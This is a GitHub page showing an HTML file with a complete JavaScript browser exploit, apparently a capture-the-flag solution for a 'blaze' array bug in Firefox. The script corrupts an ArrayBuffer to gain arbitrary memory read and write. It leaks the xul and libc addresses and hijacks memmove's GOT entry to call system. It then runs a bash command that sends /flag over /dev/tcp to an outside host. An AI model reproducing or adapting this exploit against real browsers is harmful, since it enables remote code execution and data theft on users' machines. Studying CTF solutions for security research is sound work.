Permalink
Cannot retrieve contributors at this time
Join GitHub today
GitHub is home to over 28 million developers working together to host and review code, manage projects, and build software together.
Sign up
Fetching contributors…
Cannot retrieve contributors at this time
| <!DOCTYPE html> | |
| <html> | |
| <!-- flag{fire_just_makes_the_blaze_better} --> | |
| <head> | |
| <meta charset="utf-8"> | |
| <script src="utils.js"></script> | |
| <title></title> | |
| <script type="text/javascript"> | |
| function exploit() { | |
| arr = [0x11223344]; | |
| ab = new ArrayBuffer(32); | |
| overwrite_len = new Uint32Array(ab); | |
| overwrite_len[0] = 0x77777777; | |
| victim_ab = new ArrayBuffer(32); | |
| victim = new Uint32Array(victim_ab); | |
| victim[0] = 0x88888888; | |
| log("starting"); | |
| arr.blaze(); | |
| arr[7] = 0x10000; | |
| var ptr_overwrite_idx = -1; | |
| for (var i = 0; i < 1000; i++) { | |
| if (overwrite_len[i] == 0x88888888) { | |
| overwrite_len[i] = 0x98888888; | |
| ptr_overwrite_idx = i; | |
| break; | |
| } | |
| } | |
| log(`ptr_overwrite_idx ${ptr_overwrite_idx} `); | |
| if (ptr_overwrite_idx == -1) { | |
| return; | |
| } | |
| // from https://github.com/phoenhex/files/blob/master/exploits/share-with-care/exploit.js | |
| memory = { | |
| prepare: function(addr, typed_array) { | |
| x = new Int64(addr); | |
| x.rshift(); | |
| overwrite_len[ptr_overwrite_idx - 8] = x.lower(); | |
| overwrite_len[ptr_overwrite_idx - 7] = x.upper(); | |
| return new typed_array(victim_ab); | |
| }, | |
| write: function(addr, data) { | |
| view = memory.prepare(addr, Uint32Array); | |
| x = new Int64(data) | |
| view[0] = x.lower(); | |
| view[1] = x.upper(); | |
| }, | |
| read: function(addr) { | |
| view = memory.prepare(addr, Uint32Array); | |
| return new Int64(view[0] + 256 ** 4 * view[1]); | |
| }, | |
| readWithTag: function(addr) { | |
| view = memory.prepare(addr, Uint32Array); | |
| return new Int64(view[0] + 256 ** 4 * (view[1] & 0xffff)); | |
| } | |
| } | |
| function leak_native(nat_func) { | |
| victim_ab.yolo = nat_func; | |
| victim_ab.haha = 0x13391339; | |
| slots = overwrite_len[ptr_overwrite_idx - 13] * 2 ** 32 + overwrite_len[ptr_overwrite_idx - 12]; | |
| slots_0 = (memory.readWithTag(slots).toInt()); | |
| return memory.read(slots_0 + 5 * 8).toInt() | |
| } | |
| nat_func = leak_native(Date.now); | |
| log("[+] Date.now @ " + nat_func.toString(16) + "\n"); | |
| xul_base = nat_func - 0x49c7ab0; | |
| memmove_got = xul_base + 0x0000818b220; | |
| dup_got = xul_base + 0x0000818b738; | |
| dup_libc = memory.read(dup_got); | |
| libc_base = dup_libc - 0xf7940; | |
| system_libc = libc_base + 0x45390; | |
| log("[+] xul base @ " + xul_base.toString(16), true); | |
| log("[+] memmove@got @ " + memmove_got.toString(16), true); | |
| log("[+] libc_base@libc_@_" + libc_base.toString(16), true); | |
| log("[+] system@libc @ " + system_libc.toString(16), true); | |
| var target = new Uint8Array(100); | |
| var cmd = "bash -ic 'cat /flag > /dev/tcp/my.host/12345' &"; | |
| for (var i = 0; i < cmd.length; i++) { | |
| target[i] = cmd.charCodeAt(i); | |
| } | |
| target[cmd.length] = 0; | |
| memmove_backup = memory.read(memmove_got); | |
| memory.write(memmove_got, system_libc); | |
| target.copyWithin(0, 1); | |
| memory.write(memmove_got, memmove_backup); | |
| } | |
| exploit(); | |
| </script> | |
| </head> | |
| <body> | |
| </body> | |
| </html> | |
| <!-- 0x00007f9c4b7a6138│+0xc8: 0x00007f9c4b7a70a0 → 0x8899001177889900 --> |